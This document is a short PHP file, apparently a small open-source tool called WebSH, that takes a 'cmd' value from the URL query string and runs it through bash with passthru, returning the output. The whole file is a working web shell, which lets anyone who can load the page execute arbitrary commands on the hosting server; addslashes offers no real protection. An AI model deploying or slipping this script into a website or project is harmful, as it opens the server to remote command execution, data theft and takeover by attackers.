<?php

#
# WebSH - Version 0.1a
#
# Author: Brad Cable
# Email: brad@bcable.net
# License: Modified BSD
# License Details:
# http://bcable.net/license.php
#

$cmd = addslashes($_GET['cmd']);

if (!empty($cmd))
	passthru("bash -c \"$cmd\" 2>&1");

?>
